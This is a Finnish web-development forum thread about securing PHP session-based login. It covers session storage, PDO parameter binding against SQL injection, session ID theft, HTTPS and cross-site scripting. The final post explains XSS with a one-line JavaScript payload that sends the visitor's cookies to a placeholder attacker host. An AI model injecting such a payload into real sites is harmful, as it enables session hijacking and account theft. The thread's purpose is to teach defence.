Kirjautuminen

Haku

Tehtävät

Keskustelu: Nettisivujen teko: PHP:n istunnot kirjautumisessa

Sivun loppuun

ljlassi [05.02.2012 14:33:17]

#

Ovatko PHP:n istunnot täysin aukoton tapa hoitaa kirjautuminen? Esimerkiksi jos kirjautumisen onnistuessa käytän istuntoa seuraavalla lailla:

if ($password === $user_password) {
$_SESSION['user_id'] = hae tietokannasta;
}

Ja jokaisen kirjautumisen vaativan sivun alussa on seuraava skripti:

if (!isset($_SESSION['user_id']) || $_SESSION['user_id'] == '') {
die("Sinun tulee kirjautua sisään!");
}

Niin onko tämä ns täysin turvallinen tapa hoitaa kirjautuminen, vai pystyykö hakkeri esimerkiksi ujuttamaan istuntoon haluamansa id:n? Tällöinhän istunnossa olevan datan paikkaansapitävyys tulisi varmaan myös tarkistaa...

Metabolix [05.02.2012 14:42:25]

#

Istunto sijaitsee palvelimella, eli hakkeri ei voi muokata sitä (ellei koodissasi muualla ole jotain siihen sopivaa virhettä).

ljlassi [05.02.2012 14:46:05]

#

Eli pelkkä käyttäjän id:n tallentaminen istuntoon riittää olettaen, ettei koodissani ole niin karmeita virheitä :o

EDIT: Tietysti voi olla käytännöllistä tallentaa sinne suoraan kaikki ne tiedot mitä joutuisin muuten hakemaan joka sivulla...

Lisäys: Niin ja lisäkysymyksenä vielä semmoinen, että tarvitseeko PDO-rajapintaa käytettäessä suojata syötteitä millään lailla sql-injektiolta, vai tekeekö PDO tämän de facto automaattisesti kuten olen käsittänyt?

Metabolix [05.02.2012 14:56:20]

#

Pitäisi riittää. Minusta ei kannata hakea sinne tietoja, jotka ovat tietokannassa; on tuhlausta pitää sama tieto monessa paikassa, ja jossain vaiheessa tulee kuitenkin vastaan virhetilanne, jossa tietokannan tietoa muutetaan mutta istuntoon jääkin vanha tieto.

PDO käsittelee automaattisesti arvot, jotka annetaan execute-metodille (tai bindParam-metodille). Varmaan ymmärrät, että suoraan kyselyn sekaan tungettuja muuttujia ei ole enää jälkikäteen mahdollista tunnistaa ja käsitellä.

ljlassi [05.02.2012 16:11:59]

#

Jep. Unohdin mainita tosiaan, että en tietenkään voi tunkea syötteitä suoraan kyselyn sekaan.

The Alchemist [05.02.2012 22:26:08]

#

Mikäli session ID välitetään cookiessa, kuten yleensä on tapana, niin kuka tahansa voi saada kloonata session yksinkertaisesti kopioimalla PHPSESSID-evästeen omalle koneelleen ja omaan selaimeensa. Kokeile vaikka.

Session kopioimista voi vaikeuttaa sillä, että sessioon liitetään jokin käyttäjän yksikäsitteisesti identifioiva tunniste. Se voisi olla IP tai selaimen user agent, mutta mikään vaihtoehto ei kelpaa saivartelijalle, koska on mahdollista, että esimerkiksi välityspalvelimen takia nämä tunnisteet muuttuvat jopa joka sivulatauksella.

Session ID:n varastaminen on toisaalta sen verran epätodennäköinen skenaario, että kunhan pidät huolen siitä, että ID vaihtuu aina silloin tällöin, niin tuskinpa tarvitsee hirveästi huolehtia.

Metabolix [05.02.2012 22:59:07]

#

Jottei The Alchemistin paljastus pelottaisi liikaa, muistutan vielä, että voihan minkä tahansa muunkin kirjautumistiedon varastaa yhtä "yksinkertaisesti", jos ei käytetä salattua yhteyttä (HTTPS).

ljlassi [05.02.2012 23:09:30]

#

Meinaatteko nyt siis skenaariota, jossa hakkeri tarkkailee esim palvelimelle menevää verkkoyhteyttä, ja sitäkautta varastaa id:n?

Lisäys: Vai voinko vain luoda siis koneelleni evästeen, jossa minulla on jonkin toisen käyttäjän id? Siis tilanteessa, jossa vain arvaan käyttäjän id:n. Nimittäin jos tämä olisi mahdollista minun pitäisi varmaan lisätä jokin "ei arvattavissa" oleva muuttuja sessioniin.

Metabolix [05.02.2012 23:15:14]

#

Istunnon tunnuksella ei ole mitään tekemistä käyttäjän tietojen kanssa. PHP luo istunnon tunnuksen satunnaisesti, eikä sitä käytännössä voi millään arvata. Hakkeri voi saada sen joko vakoiluohjelmalla tai sivustolla olevan tietoturva-aukon kautta (esim. lähettämällä sivulle JavaScript-koodia, joka lähettää kävijän evästeet muualle; tämän takia htmlspecialchars-funktion käyttö on tärkeää ja HTML-tagien attribuutit kannattaa kirjoittaa lainausmerkkeihin).

Mutta juuri tuon takia kirjautumista ei pidä koskaan tehdä niin, että tallentaa vain evästeeseen käyttäjän id:n, koska silloin tie on hakkerille täysin auki. Aina pitää tallentaa lisäksi jokin käyttäjäkohtainen tieto, jota hakkeri ei voi vain arvata.

ljlassi [05.02.2012 23:31:00]

#

Voiko joku pistää mulle linkin johonkin juttuun liittyen tohon Javascript-koodin lähettämiseen sivuille, en ole kuullut tuosta aikaisemmin...

Metabolix [05.02.2012 23:39:16]

#

PHP-opas, osa 13, Tietoturva
OWASP: Cross-site Scripting (XSS)

Evästeiden varastaminen onnistuu esimerkiksi tällaisella JS-koodilla:

window.location = "http://hakkeri.dy.fi/varasta.php?data=" + escape(document.cookie);

Sivun alkuun

Vastaus

Aihe on jo aika vanha, joten et voi enää vastata siihen.

Tietoa sivustosta